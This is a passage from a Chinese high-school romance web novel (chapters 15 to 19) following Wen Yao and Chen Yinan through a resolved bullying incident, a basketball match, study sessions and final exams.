“好了。”陈翊南将碘伏纱布重新装进袋子里,递给温窈。
“现在,脚踝还疼吗?”他问道。
在药店时,陈翊南买完碘伏还想来瓶治跌打骨伤的药,被温窈拦住了。她当时解释说,脚踝没有扭伤,只是被砸了下,已经不怎么疼了。
温窈在陈翊南面前扭动了两下脚踝,说:“放心,已经不疼了。”
“今天谢谢你。改天请你喝奶茶,好不好?”
自己用的药都是陈翊南出的钱,不买点什么,她的心里属实是过意不去。
陈翊南心里也清楚,他回了句好。随后,便拿起温窈书包,朝便利店门口走去,“走吧,送你回家。”
“嗯?”温窈在后面跟上来,疑惑道。
“最近一段时间,我都住在外婆家,离你家不远,顺路的事。”他率先跨腿上车撑住地,又指了指后面,“上车吧。”
温窈缠着纱布的手垂在一旁,另一边抓着衣襟的手指微微一动。山地车后座是被改装过的,加了一个椅子。
陈翊南还在看她,她没犹豫太久,终是在车后座坐下了。
晚风吹动少年衣角,打在温窈掌心,她的心里像是被挠了一下,痒痒的。
街道上的车流与树荫交错,光影斑驳。夜风温和,温窈嘴角悄悄翘起,一只手正虚虚地抓在座位前凸起的铁条上。
来到一处下坡路,陈翊南放慢车速,身后人却是一时不防,撞在了他的后背上,随即又很快分离。
他将温窈送到了小区门口才开始朝外婆家走去。到了别墅门口,门卫大叔探出头和他打了声招呼:“回来了啊,小陈?”
“回来了,吴叔。”陈翊南笑着回:“麻烦您帮我开个门。”
“好嘞!”
他把山地车放进了车库,打开车库里面的门,朝楼上走去。
徐慧安早就听到了楼下动静,提前打开了大门。
“南南,吃饭了吗?”
“还没呢,外婆。”陈翊南放下肩上的斜挎包。
“正好,咱们马上开饭,你先快去洗个手。”徐慧安嘱咐了句。
坐在沙发上看报的人,在此时插了句嘴:“你外婆非要等你回来才开饭,锅里热的饭,碰都不让我碰。”
陈翊南笑着看向外公陈慈生,解释道:“路上有事耽搁了,回来的稍晚了些。”
用过晚饭后,陈翊南便回了二楼的卧室。因他偶尔来这边住宿,外婆外公便将一间客房改造成了他的卧室。除非得到他允许,平时不会有人进来。
房间内很整洁,风格也很简单大气。柜子上摆满了书和手办,书桌上还有一台电脑。他将桌上的小台灯打开,口袋里的手机突然接二连三地响了几下。
陈翊南坐下身,拿出手机一看,是来自江枫的三条消息,有一条消息来自四十分钟前,剩下两条是刚发来的。
江枫:兄弟,我的好兄弟。
江枫:陈翊南,你人呢?救人一命胜造七级浮屠啊。
江枫:你舍得见死不救吗?
灯光下,他轻笑了声,慢悠悠打出两个字。
Cyn:舍得。
江枫:……
Cyn:说吧,哪道题。
江枫:么么还是你懂我。(爱心)
Cyn:别恶心我。
过了几秒后,对面甩过来一张图片。
陈翊南扫了眼,随即提笔在纸上写下了几个关键步骤,给对面拍了过去。
很快,江枫就发了一个表情包过来。
一个烈焰红唇。
Cyn:……
江枫:我简直,瞬间醍醐灌顶。对了,你怎么回我这么慢,你不是应该早到你外公家了?
Cyn:路上碰见了温窈,她走得晚没赶上公交,我顺路先把她送回了家。
江枫还没回,陈翊南盯着刚刚发送出去的消息有些出神。女生泛着红意的眼眶仿佛又在眼前浮现,似乎怕他注意到,当时又很快低下了头。
他直觉认为,温窈的表现,看起来不像是简单摔伤。毕竟,他在今晚最开始遇见她时,就注意到了她心情看起来不是很好。
因为什么?
不等他多想,对面就来消息了。
江枫:羡慕了,我都没这么好的待遇。(哭)
Cyn:滚,学习了。
江枫:……最后一句,什么时候回来?
陈翊南没犹豫,很快打下一句话。
Cyn:我家那位什么时候出差,我就什么时候回景怡园。
_
周六下午,啦啦操队的几人陆陆续续进了教室。
温窈到的早,早就把腿架在横杆上进行热身运动了。没一会儿,林见月和虞眠也到了。
两人一进来就注意到了温窈手上裹的纱布,林见月当即飞奔过来,紧张地问道:“窈儿,你这手怎么受伤了?严不严重啊?”
温窈抬起胳膊朝两人晃了晃,笑着安慰:“没事,就擦破了点皮。”
“怎么整的啊?”虞眠皱着眉头问:“昨天我俩走的时候不还好好的。”
温窈想了想,和两人说明了一下昨晚的事情。
听完事情完整经过后,林见月愤慨道:“要我说,她绝对是故意的!”
温窈拍了拍林见月的手,“应该不是,没事,只是手伤了,又不是脚扭到了,我还能继续跳——”
话音未落,袁晓梦和沈佳雪就前后脚走进了教室。
袁晓梦一眼就看到了好端端站在窗户旁边的人,她眼中的惊讶之色一时忘记了遮掩,“温窈?你怎么在这?”
温窈听见声音,投来疑惑的目光。
沈佳雪碰了碰袁晓梦的胳膊,朝她轻轻摇了摇头。
袁晓梦明白过来,立时稳住了脸上神色,她勉强勾起嘴角笑了下:“没事,昨天打扫完那么累,我没有想到你今天还能来这么早,一时有些惊讶。”
练了两把舞蹈后,指导老师让大家解散休息一下。温窈拿起杯子想喝口水,却发现里面空空如也。
身旁,虞眠见状笑道:“给我吧,我正好渴了,帮你打一杯回来。”
温窈说了句谢谢后,便将杯子递了出去,她也顺便起身朝厕所走去。
不同于教学楼的厕所,这栋楼的厕所都是单独隔间。温窈踩下冲水踏板,等水流停歇后,她正想推门而出,外面就进来了两个人。
两个人的声音都很好辨认,一个是沈佳雪,一个是袁晓梦。
袁晓梦嘟囔了句:“我昨晚明明看着她一瘸一拐离开的,怎么今天她的脚还能跳?难不成,昨晚她压根没崴到脚?”
沈佳雪的心情看起来不太好,进门后一直没说话,只是打开水龙头,安静冲着手指。
但袁晓梦没太注意到,她倚着洗手台接着说:“欸?要不这样,今天不是会发啦啦操队服吗
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?咱们要不要在比赛前在队服上搞点手脚?”
袁晓梦的声音不算大,但温窈是在厕所第二个隔间里,距离门口外面的洗手台很近,以至于听得一清二楚,她垂下的手指紧了紧。
刚才林见月说的竟一语成谶。此时哪怕她不想信,也不得不信。
昨晚她从楼梯上摔下来,不是巧合。
终于,在袁晓梦自顾自地谋划该怎么划温窈的队服时,她推门而出。
“需不需要我把柜子钥匙直接给两位?”温窈淡淡道。
看着从隔间里出来的人,洗手台前的两人登时愣在原地。
袁晓梦磕巴道:“温…温窈,你怎么在这,你不是去打水了?”
温窈没回应袁晓梦的话,而是偏头看着沈佳雪说道:“我承认,我是脾气好,但这并不代表我好欺负。”
在今天一直沉默寡言的沈佳雪突然笑了,“那又怎么样?现在这些事你都知道了,所以,你要去告诉老师吗?”
温窈看着沈佳雪一步步逼近,没等她开口回答,沈佳雪就从口袋里抽出了一张白纸片。
她将它举到温窈眼前时,温窈才注意到这不是一张普普通通的白纸片,而是一张相片。
“不过,在你告发老师前,你要不要先和老师解释一下这个?”沈佳雪说道。
相片上拍的,正是昨晚陈翊南在便利店内给她涂碘伏的景象。
这个角度,明显是在便利店外偷拍的。
温窈皱起眉头,“你想说什么?”
沈佳雪轻笑了声:“以前你口口声声说着和陈翊南不熟,然后背地里和我玩这套是吗?他帮你上药,如果这还不算熟的话那什么算熟?温窈啊温窈,我以前可真是看错你了。”
“你是这样认为的?我以为凭你对他的喜欢程度,应该会很了解他是一个什么样的人。他帮我涂药,不过是出于他的良好教养以及同学情谊。”温窈静静解释着。
“你撒谎!”沈佳雪激动地推了一下温窈。
事情发生的太突然,温窈一个没站稳,直接朝后面踉跄了几步,接着,就落进了一个温暖的怀抱,半边身子都被熟悉的柑橘薄荷香环绕着。
沈佳雪看见来人,一时愣在原地,“陈翊南?你怎么——”
温窈的胳膊被陈翊南扶住,冷而清的嗓音在她身后响起:“推人做什么?”
沈佳雪急忙解释:“陈翊南,我不是故意的。我就是……刚才情绪有些激动,你要相信我!”
陈翊南看了眼沈佳雪手里拿的相片,很快就明白了过来,他说:“你想问什么?或者,还有什么不清楚的,可以直接来问我。而不是,选择在这里为难他人。”
沈佳雪死死攥着相片纸,索性破罐子破摔,“前阵子你拒绝我,是因为温窈?”
陈翊南眉头轻蹙:“不是。我记得我当时说的很清楚,现阶段,谈恋爱并不在我的计划之内。或者你可以理解为,高中阶段我并不打算谈恋爱,现在是,以后也是。”
温窈神色黯了黯。
但她转眼一想,便意识到,这似乎才是陈翊南,真正的陈翊南。
她的少年怎么会因为这个停滞住脚步,他只会一如既往,热烈、坚定又努力地不断朝着目标前进。
他会是黑暗中的灯塔,为自己指引方向,也会是“山重水复疑无路”的明媚一现。
见沈佳雪的情绪逐渐稳定了下来,陈翊南接着说道:“还有什么想问的?”
“没有了。”沈佳雪低声回。
陈翊南转身抬脚离开,走了几步后,沈佳雪突然抬头,大声问了句:“陈翊南,我们还算是朋友吗?”
陈翊南脚步未停。
沈佳雪闭了闭眼睛,苦涩一笑,她对着温窈说道:“你放心,这张相片,我不会交给老师的。”
“还有,昨晚的事情,抱歉。”
有清风拂过窗外梧桐树,吹动树叶发出沙沙声响,仿佛在吹奏着某个悲凉乐章。
风停,曲终,戏散场。
温窈只觉莫名可悲。
她站在走廊里转身离去,伴随着脚步落下的,还有一道温和嗓音,轻轻叩响沈佳雪的心弦。
“你不妨静下心来想一想,你到底喜欢的是陈翊南这个人,还是追到手后的炫耀资本?沈佳雪,喜欢从来没有计量单位的。”
温窈驻足回头,她望向站在走廊中间的人,平静开口:
“喜欢并非是失去自我,而应该是——”
“更坚定地选择自我。”
16. chapter16
“不知不觉中,我们竟然已经有四年没见面了。以前总觉得一年时间好漫长,如今却像是被按下了快捷键。那天周澄问我,还对你念念不忘吗?我犹豫了好久。最终,还是撒了谎。”
——《我与y》
星期一是个晴天,绵软的云朵飘浮在湛蓝天幕上,阳光下送来盛夏燥热的风。
一中与附中的篮球比赛正式拉开序幕。
比赛场地设置在一中室内篮球场,墙上有新挂上的“友谊第一,比赛第二”红色条幅。
起先,温窈和虞眠是坐在看台上休息,后面便被林见月拉去了下面帮忙。
温窈在往主席台的桌子上放水,虞眠抱着装水的纸箱站在一旁。两人一边走一边放,配合默契。
林见月忙完后,气喘吁吁地跑过来,笑嘻嘻道:“辛苦啦辛苦啦!我来吧。”
“不辛苦,记得结劳务费就行。”虞眠打趣着。
林见月蹭到温窈身边,哭诉道:“窈儿,你看她呜呜。”
温窈摆完最后一瓶水,认真地说了一句:“不只有劳务费吧,应该还有咱俩的时间补偿费用才对。”
林见月正趴在温窈肩膀处的头瞬间抬起,她不可思议地望向正在忍笑的温窈,退开一步感慨道:“苍天呐!我宣布,从现在开始,只有我受伤的世界达成了。”
温窈笑笑,从口袋拿出一张纸巾递给林见月,“开玩笑的,先擦擦汗吧,别一会被空调吹感冒。”
林见月接过纸,便闻到一股茉莉清香,她奇道:“咦,窈儿,你的纸巾换味道了?我记得原来是……香甜桃子香。”
“啊、总用一个味道用腻了,这个味道更清淡些。”温窈摸了摸鼻子,有些心虚地解释着。
挑纸巾的时候,她喜欢尝试各种味道的。但自从那次给陈翊南用过茉莉香的纸巾后,她就一直没换味道。
“这样啊。”林见月擦了擦头上的汗,并没有起疑。
三人整理好物品后,朝后台更衣室走去,准备接下来的开场啦啦操。
比赛时间还没到,双方还在后台休息。路过附中所在的屋子时,门是敞开的,里面有不少男生正坐在椅子上。
虞眠的目光不经意间朝屋内一扫,疑惑道:“欸?那人看着怎么有点眼生。”
林见月顺着她的目光望去,顿时了悟,“听说是被附中球队教练拉过来救场的。”
“救场?”
“两天前,在训练时,附中球队的小前锋扭伤了脚,没办法上场了。这不,他们队的教练就又请来了一个。”林见月凑近两人小声说道:“我可听说,为了请这帅哥,他们教练废了不少功夫。”
说罢,林见月悄悄朝屋内看去,恰好和那双桃花眼对视,她立时有种被话题中心的人抓包的错觉。
心头似鹿撞,跳个不停。
肯定是心虚!
林见月连忙拉着两人离去,再不走她怕自己腿软站不住。
走远后,温窈偏头问:“那这个人厉不厉害?”
林见月还未回神,倒是虞眠推断道:“估计实力不差,否则他们教练怎么可能三番五次的去请。”
温窈呼出一口气,心头有些凝重。
她不算了解篮球赛,也不知道陈翊南那边应不应付的来。
比赛正式开始前,入场音乐在热闹的场馆内响起,霎时又把气氛抬高了几分。两个学校的啦啦队依次进场,率先进场的是北淮代表队。
北淮啦啦队的队服是藏青色上衣与白色短裙,温窈手里拿好两个银色花球,便打头入场了。
为了跳舞方便,早在后台时,她就已经把黑框眼镜摘了下来。她度数不算很高,平时生活中就算不戴眼镜也不会有很大的生活障碍,戴眼镜只是为了防止度数快速上涨。
白净清秀的小脸露出来,恍一入场,就吸引了不少人的目光。温窈个子不算矮,再加上皮肤白,藏青色更是衬得她整个人在发亮。
球队席区域。
江枫碰了碰身旁正低头在戴护腕的人,“大哥不是吧,打头的人是温窈?”
“你快帮我看看,我怀疑我眼花了。”
陈翊南撩起眼皮看了眼,嗓音中略带两分笑意:“嗯,是她。”
“我还是第一次看窈妹妹摘下眼镜的样子。你别说,嘿,你还真别说——”江枫偏头看向陈翊南,正想接着开口就被噎了回去。
“不想说就别说了。”
“?”
陈翊南后背倚在墙上,拍了拍江枫肩膀,淡淡开口:“你一会上场,少说点话,保存实力。”
江枫一听,顿时笑道:“你放心,我肯定让他们瞧瞧什么是小爷我真正的实力。”
陈翊南挑眉,“别轻敌,听说对面的小前锋实力不错。”
江枫压低声音,凑近道:“没事,如果实在不行,那不还有你嘛。”
随着音乐响起,熟悉的歌曲摇动全场。
温窈找好位置站定,其他人也依次排开队形。音乐进拍,全场只余银色花球闪动。
江枫目光望向场内,看了会儿便意识到了什么,“虞眠和我说温窈没学过舞蹈,这怎么看都不像没学过的样子啊?”
陈翊南视线并未收回,他的唇角轻轻牵起。
温窈的确没学过舞蹈,但他知道,她只是比旁人更加努力而已。前段时间夜里,人都走完了,舞蹈教室里还常常亮着灯。
他走得晚,便去看过。有两面大镜子的舞蹈教室里,总是有她一个人还在跳。动作从最开始的僵硬卡顿,到后面的流畅灵动,他都看在眼里。
场内的人挥舞着花球汇成一道银色海洋,她扬着自信笑意,眼底缀满星光。
所以,她能达到这个结果,他丝毫不意外。
坚持自有意义。
两队分别跳完后,比赛正式开始。
温窈赶在比赛开始前,在后台卸了妆,换回了自己的衣服。她和林见月、温窈一同坐在了距离球队席区域最近的第一排。
陈翊南就位于温窈的斜前方,她稍一侧身就能看的清清楚楚。
前半场里,温窈看到他并未上场,只是手支着头安静看着场内。
电子大屏幕上有各个队员的数据,她也因此得知,附中篮球队的小前锋叫骆驰。
骆驰状态很好,已经进了很多个球。温窈这个半吊子都能看出来,一中一直
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在被骆驰带领的附中压着打。
一直进不去球,导致一中颓势渐显,大家的士气都弱了下去,比分也被拉开到了24分的差距。
哨声响起,上半场结束。
江枫气喘吁吁地在陈翊南身旁坐下,他接过水喝了一口后才缓缓开口:“对面的那个……那个,骆驰是吧?还真有点东西。”
正巧教练也走过来说道:“陈翊南,下半场你上。”
“行。”
陈翊南低下头,看着江枫分析道:“上半场比赛我看了。对面骆驰打的好,但短板也很严重。”
“怎么说?”
“篮球比赛讲究团队配合,附中篮球队配合不够。能看出来骆驰是被临时拉过来,还没有和队伍内的成员磨合好。”
陈翊南笑笑:“正好,咱们可以利用这个缺点,打回去。”
“还记得之前我说的吗?”
江枫眼睛一亮,回:“我明白了。”
温窈的视线自哨声响起后,便没有离开过陈翊南那边。她看到江枫将人聚在一起,似乎在商讨着什么,陈翊南就站在一旁听着,时不时补上几句。
“那咱们就按这个说好的战术来。”江枫说道。
“行,没问题。”众人回。
陈翊南在此时开口:“没事,找好自己的位置认真打,能赢。”
休息时间结束了,温窈眉头微蹙,目光重新投向场内。
这次,陈翊南上场了,前锋的位置,江枫则负责后卫。
温窈看的清楚,白色8号球服,戴着白色护腕。同骆驰站在球场中央,他的身高要比骆驰还要高上两分。
随着篮球抛下,陈翊南率先抢到球的控制权。弯腰运球,传球,切入,投篮,白色身影在场内快的留下一道残影。
陈翊南的战术效果慢慢显现,骆驰的个人快攻战术被克制,两队比分逐渐被拉近。
空中一道顺滑抛物线,球被江枫抛到了陈翊南手里。陈翊南默契接过,直接运球,投篮,再次迅速拿下一个二分。
温窈身后的观众席喊得响亮,到处都是为陈翊南加油助威的声音。
林见月回头看了眼,随即轻啧两声,感慨道:“南哥这人气,真不是盖的啊。”
温窈盯着场内笑了笑。
他就像那离弦的箭,一经发出,锋芒毕露。“自由”二字,在他身上体现的淋漓尽致。
她想,他本就是少年。
比赛进行到白热化阶段,比分被拉到五分之差。
只要能再进三个球,一中就能赢了。
温窈的手不自觉的蜷起,心都仿佛被人紧紧揪着,无法痛快呼吸。
陈翊南他,能赢吗?
温窈指尖刺进掌心,手心的疼痛令她清醒了几分。
她赌,他能。
陈翊南跑到三分线上投出最后一球,全场人的目光都聚集在一起,随着空中的球移动。
温窈紧张地捂住眼睛。
伴随着“哐当”一声响起,耳边全场哗然。有尖叫,有呼喊,有林见月的声音由远及近传来。
她知道,最后一球,进了。
她赌赢了。
17. chapter17
“或许,第一次见到你,我就喜欢你了。”
——《我与y》
结束的哨声响起,陈翊南成功投进一个三分球,以一分之差,逆转了比赛结果。
温窈捂住眼睛的手缓缓放下,灯光明亮的大堂里,陈翊南被江枫及众人紧紧簇拥。他的鬓间还有汗珠,此刻嘴角正漾起笑容,显得颊边浅浅凹陷出的梨涡分外张扬。
林见月激动地直接站了起来,她大声呼喊:“陈翊南牛逼!”
本以为场馆嘈杂,陈翊南听不到,不成想,他似乎听到了,随即便转头望了过来。
温窈就这样猝不及防与他对视,许是气氛过于热烈,她的心底也莫名生出一些勇气。
这次眼神未曾躲避,她冲他浅浅一笑,开口无声说了两字:
“厉害。”
陈翊南读懂了口型,唇角迅速牵起,他会意一笑。
喧嚣世界里,仿佛这是只有她与他才能读懂的暗号。
温窈不由得耳根一红,她连忙放下被她撩起到耳后的头发,遮掩住“罪证”。
一中球队队员与附中球队队员互相握了握手,轮到陈翊南与骆驰握手时,骆驰笑道:“你的篮球打的很不错,有空可以约一约。”
陈翊南眼眸弯起,回了句好。
倒是林见月这边不知为何突然变得激动了起来,虞眠问道:“你怎么了?”
林见月趴在栏杆上,扯了扯两人衣服,“你俩快看,我粉头和墙头握手了!”
虞眠疑惑:“你墙头?”
温窈问:“那位叫骆驰的?”
“没错!”
虞眠:“他怎么成你墙头了?”
“……因为他帅啊。”林见月双手托腮看向球场,一字一句道。
虞眠、温窈:“……”
行,这理由就很林见月。
温窈见球场内的人群散去,陈翊南和江枫正朝三人这个方向走来,她偏头问道:“要不要下去看看?”
林见月和虞眠一齐点了下头。
江枫看见她仨后,挥了挥手,一路小跑过来,笑道:“怎么样,哥刚才打的帅不帅?”
虞眠难得没同他呛嘴,她夸赞道:“下半场打的,的确还不错。”
虞眠语气突然认真,江枫还有些不好意思。他挠头笑笑,见林见月没吱声,便侧头望去,“你觉得呢?”
“哥刚才打的怎么样?”
林见月看都没看他,顺嘴回应:“还行吧,但是不如我墙头。”说完,头还又往江枫右侧偏了偏,悄摸看向附中那边。
“什么玩意儿,墙头?”
虞眠扶额解释:“对面球队的骆驰,她新晋墙头。”
“骆驰?!”江枫刚喝下的一口水差点喷出来,“林见月,你有没有眼光啊?”
“嘘,你小点声!”林见月觉得江枫这声高的,半个球馆的人都要听到了。
她吓得慢慢伸出头朝附中那边望去,果不其然,对上了那双漆黑眼眸,正似笑非笑地望着这边。
林见月倏地收回脑袋,嘴里一边念叨着“快替我挡一下”,一面像个地鼠一样缩回了虞眠身边。
很好,一天被正主抓包两次。
这抓马的人生,她服了。
温窈在一旁看的津津有味,面前突然递过来一瓶矿泉水。
“喝水吗?”陈翊南问。
温窈一惊,赶忙伸手接过,“谢谢……”
“没事。”陈翊南拧松瓶盖后放进了她手里。
她垂下眼帘,浅浅喝了一口,冰凉的水从喉咙流下,格外甘甜。
温窈悄摸打量了一下身旁,原先挂在他鬓间的细小汗珠已经消失殆尽,矿泉水瓶被他拿起送到嘴边。随着凉水入口,她见到他的喉结上下滚动了一次。
温窈收回视线,有些慌乱地又喝下了一口水,手没拿稳,有一两缕水流下。
前面几人谈话谈的热闹,温窈这里却是有些安静。
她犹豫着开口问道:“刚才下半场,你是不是用了什么战术?”
陈翊南笑道:“看出来了?”
温窈有些不好意思的摇摇头,“没有,我不太懂。”
“普林斯顿战术,”陈翊南语气不疾不徐地解释着:“这个战术主要在于创造和利用空间,我们通过不停跑位和传球,像变魔术一样把防守拉开,相对于平时来说,位置划分没有那么死板。”
讲完大致后,陈翊南又给她讲解了一下这个战术的基本站位。
温窈听完后,在脑子里配合刚才场上众人的表现来更深刻的理解了一下,一切行为都有了正确的解释。
她认真地点了下头,回:“我明白了。”
场馆内时不时有人离开,附中球队也在刚刚回了后台休息室。江枫在不远处招手,“走吧,陈翊南。去后台换下衣服,一会儿吃饭去了。”
陈翊南应了句,转头对温窈说道:“一会见。”
“好。”
_
两校篮球友谊赛完美落幕,再之后,便没有了什么活动。即便有,方媛也不会同意他们去参加,她向来注重成绩。
临近七月份,很快就要期末考试了。
在北淮一中,这是一个令一些学子光是听见就能惶惶不安的考试。
比如,江·吊车尾·枫。
期末的考试成绩将直接决定高二这一年里,自己还能不能在文理科一班继续呆下去。毕竟,文理科一班是这一年级学习精英的聚集地,多少人挤破头皮都不一定能挤进来。
自然而然,班级倒数的幸运儿们是最岌岌可危的存在。稍一不留神,便有可能被下面班级的佼佼者顶替掉位置。
课堂测验试卷被发了下来,江枫看着自己的语文、英语和地理卷子上刺眼的红叉叉,不由得叹了口气。虞眠的试卷也被放到了他的桌子上,他状似无意地扫了眼,顿时心梗。
都没有多少红叉叉。
江枫将试卷递过去,不可置信道:“不是同桌,你怎么就错这么一点?”
“早就提醒过你,平时上课认真些。”虞眠说着翻了翻试卷,眉头轻轻皱起,“还是有几个地方不该出错的。”
说完,她赶忙记了下来。
座位前的林见月也难得没回头唠嗑,反而伏身在桌上酷酷写着什么。
江枫在一旁足足思考了一秒,最终,得下结论。
朋友都这么努力,不行,他也得努力了。
“同桌。”
“嗯?”
虞眠头也没动地回了一声。
“我有个不情之请。”
“说吧。”
虞眠偏头看向江枫。
“
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如果有空,能不能帮我补习一下?”江枫立起试卷,只余一双眼睛露在试卷上面,黑白分明的眼瞳就这样静静看着她。
虞眠安静一瞬,就在江枫以为这件事要泡汤时,她开口了:“可以啊。”
“Yes!谢谢——”
同桌二字他还未说出口就被打断了。
虞眠说道:“我可以帮你提高地理和英语,语文你可以问一下温窈。还有,最后一个要求:我做英语和数学题的时候,你少说话。”
“Noproblem.”江枫笑着应道。
温窈正在看英语错题,后背忽地被人戳了下,她下意识朝虞眠望去,却发现是江枫戳的她。
“温窈,你看我这语文成绩还有没有提高的空间?”
温窈接过他的语文试卷从头到尾看了眼,总结道:“可太有了。”
江枫眼睛一亮,“那,温大课代表能不能帮我恶补一下?”
“认真的?”温窈眉头微挑,有些怀疑。
“当然!你说东,我绝对不往西跑。”
见江枫这信誓旦旦的语气,温窈半信半疑。
“行,”她问道:“什么时候呢?”
不等江枫思考出来,一直在旁听的林见月开口了:“不如,咱们放学后,一起去图书馆再学会儿吧。”
几人互相看了眼,都没什么意见。
现阶段,除了冲刺期末,什么事情都可以抛之脑后。
北淮一中为了便利同学们学习,图书馆在放学后还会多开上一个小时的时间。除了周末时间正常关闭,平时周一到周五都可以去读书学习。
温窈三人先到的,找了个靠窗的位置便坐下了。这个位置也宽敞,两张桌子连在了一起。
她从包里拿出自习课上做了一半的数学试卷,又抽出两张草稿纸,慢慢演算了起来。
刚做完一道大题的空隙,桌子前就落下一道阴影,随即便有椅子被轻轻拉动的声音响起。
温窈稍一抬头,就看到陈翊南在她对面坐了下来。
她的瞳孔轻轻收缩,心中有些惊讶。
陈翊南怎么来了?
江枫放下书包后,朝这边瞥了一眼,自觉解释道:“反正是在一起学习,人多点更有氛围。”
虞眠看了他一眼,似乎在问,怎么不让学神辅导你?
江枫讪讪一笑,无声对了个口型:“我怕他踹我啊。”
虞眠:……
他也不算瞎说。他和陈翊南打初中就认识了,陈翊南成绩好,每逢陈翊南来他家,他妈总会让陈翊南多辅导辅导他。
殊不知,最开始某人还彬彬有礼,对他淳淳教导。到后来被他整烦了,直接进化成了“我说你写”环节。也正是这逼得他脑袋直转,有不少时候,硬是自己把题想出来了。
那边的动静温窈完全没有注意到,她的笔尾端戳在下巴上,按动笔发出了清脆响声,引得陈翊南抬眸看来。
对视的瞬间,温窈心头一跳,手上的力气没稳住,按动笔尾端又弹了回来。
“啪嗒”一声响,她顿时眯了眯眼。
有丝丝疼意在她下巴处蔓延开来,她拿开笔,正想悄悄伸出另一只手揉一揉下巴上的肉。
却听到,有一声低笑从对面人的喉间传出。
似有羽毛轻轻挠动了她的心。
18. chapter18
“那个时候最喜欢下雪天,雪上残留着你的脚印,在你的背后,我曾无数次试着把自己的脚轻轻踏上去。”
——《我与y》
看来,自己之前的小动作都已经被陈翊南尽收眼底。
温窈回过神,随即,自暴自弃般伸出手捂住了自己的下巴并揉了揉。
下巴处的疼痛有所缓解,她垂着头,不知道的是,此刻的她在陈翊南眼里颇像一只失魂落魄的小狗。
不确定对面的人还有没有在看她,她没敢抬头。
另一边。
虞眠已经根据江枫的薄弱知识面,给他在试卷上画出了今晚需要练习的地理题目。江枫收好后,探过头来问:“温窈,今晚我语文需要做什么额外的练习?”
“稍等,”温窈想了想,从书包里翻出了自己的语文笔记,她掀开后推了过去,“今天下午看你试卷的时候,我就发现了你的一些短板。你把我本子上记的这些论述类和文学类文本的基础答题模板,以及各种修辞手法的区分记一下,明天我会提问你。”
“好。”江枫将笔记本拿起来一看,不禁感慨道:“我说温窈,你和陈翊南那笔记记的不分上下啊。”
他轻啧两声:“难道这就是好学生的共同点?不行,我以后也要认真记笔记。”
听罢,身旁陈翊南手中的笔都没停,随口道:“行啊,你能坚持三天算我输。”
江枫:“……”
虞眠继续补刀:“三天都多了,顶多半天。”
江枫:“……”
这个世界没有爱?
但,江“才子”好歹是考进了文科一班的人,用心学习起来还是很认真的。
这一层很快就重归于安静,只剩下几人的笔在纸页上滑动的“沙沙”声。
尽管陈翊南坐在温窈对面很容易令她分身,但她始终没忘记自己立的期末flag。于是,在这样的状态下,她反而学的更投入了些。
月落日升,来不及匆匆告别,便又是另一个明天。
临近期末的日子里,温窈早出晚归,一心扑在学习上。
一开始周末时,她还会在家里学习,但屋门的隔音属实不算好。赵景旭又是个闲不住的,完成他的幼儿园作业后,不是看电视就是玩玩具,弄出的动静她想装听不见都装不下去。
赵景旭是两人的心头宝,温窈也不好说什么。何况,这个年级的小孩最喜欢哭鼻子,她生怕自己一个不小心把人家弄哭。到头来,在陆文慧那里凭她一张嘴都说不清。
温窈索性选择去图书馆呆着,直接眼不见心不烦,中午饿了就在附近随便吃点,常常一呆就是一整天。
眨眼间就来到了期末的日子。
七月十五日,星期五。
温窈和虞眠的考场相邻,一个在二考场,一个在三考场。
听江枫说陈翊南在一考场,不用想,大家也都知道陈翊南肯定是在一考场1号,老位置了。
温窈在二考场排名座次1,只差一点点就能和陈翊南一起被分到一考场。她心有遗憾,却也化为了另一种动力,鼓舞她向一考场前进。
林见月和江枫则去了二楼,正好和他们岔开了楼层。
如果说一中的考试难度有等级划分,那期末的试题难度必定达到了四颗星。
第一场语文考下来,温窈还没太感觉到。但等考数学时,她就体会到了试题难度的增大。
和期中来比,的确是变得难了些。但也不会是太离谱的程度,主要是数难算了一些,比较考验计算量。
幸好她在考试前有狂刷陈翊南推荐的那本教材书,不论是解题思路还是计算能力,都得到了质的提升。
最后一科是英语,向来令温窈有些发怵的科目,在停笔的那一刻,竟有些轻松释然。
她在心底有了个预感。
自己这次的排名,或许真的可以再往前进一些。
监考老师收齐试卷走出门的时候,考场内瞬间躁动了起来。期末考试结束,漫长的暑假要来临了。
温窈拿好笔袋,起身准备离开,身后却蓦地传来声音叫住了她。
“温窈。”
温窈回头望去,眼底有讶色一闪而过,竟然是沈佳雪。
“你也在这个考场?”
“嗯,坐在后面了,你可能没看到。”
温窈坐在第一排,一进门就直朝座位
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1走去,的确没太注意后面都坐了谁。
“我还欠你一句感谢。”
温窈有些疑惑。
沈佳雪弯起眼眸笑了笑,“听完你的那些话后,我在楼道里站了很久,也慢慢想通了一些事。上次是我妒上心头,多亏你点醒了我,才没有让我越偏越远。所以,还是要谢谢你。”
细细想来,沈佳雪这个人本质其实并不坏。只是自信过了头,偶尔会有些傲慢自大。也并不是不能理解,她是家里备受宠爱的姑娘,家境使然,她本就有傲慢的资本。
现在,眼前人的身上似乎有什么正在发生改变,但并不令人生厌。没了咄咄逼人,没了高高在上,有的,只是人与人之间最真挚的感谢。
温窈微笑道:“没什么,我曾经也很羡慕你。羡慕你的热情与自信,遇到喜欢的人也敢勇敢追求。毕竟,这很难得。”
至少,她自问自己目前,并没有足够的勇气迈出这一步。
沈佳雪扑哧一笑,“你不会觉得我还喜欢陈翊南吧?”
温窈抬眸,看向沈佳雪。
“那天我认真想了想,其实我对陈翊南谈不上真正的喜欢。我不过是觉得自己这么优秀,男朋友也必须找最优秀的那个。于是,着了迷似的对他死缠烂打。可这算哪门子喜欢?”沈佳雪摊了摊手,“幸好我抽身抽的快,否则都不知道自己的成绩要掉到哪个马里亚纳海沟里去了。”
温窈微微抿唇,忍住笑意。
这语句造的,竟有些莫名和谐。
沈佳雪接着说道:“我现在可是一个合格的分奴。倒是你,没想到现在,你竟然能和我在一个考场,还排在了我前面。”她咳了两声,再开口,神色里便带了些认真,“我会努力的,期待……和你在一考场见面。”
“好。”温窈回应。
得到回答后,沈佳雪朝她摆摆手,朝门口走去。
温窈就跟在她身后,落后三四步远的距离。
即将走出门口,身前人却忽地驻足,微微偏过头。
走廊外的光打了进来,门外不断有人经过,明暗交错间,她听到沈佳雪轻声问了句:
“温窈,你是不是……喜欢陈翊南?”
19. chapter19
“年少时的心动永远最温柔独特,最单纯珍贵。所有悸动都来的毫无征兆,却又怦然心动。就像,那年盛夏午后,一场突然吹进屋内的薄荷风。”
——《我与y》
考场内的人已经走光,只余温窈和沈佳雪两人在讲台前安静站着。
尽管沈佳雪的声音放的很轻,但温窈还是下意识朝门口看了眼,确定没有人注意到。
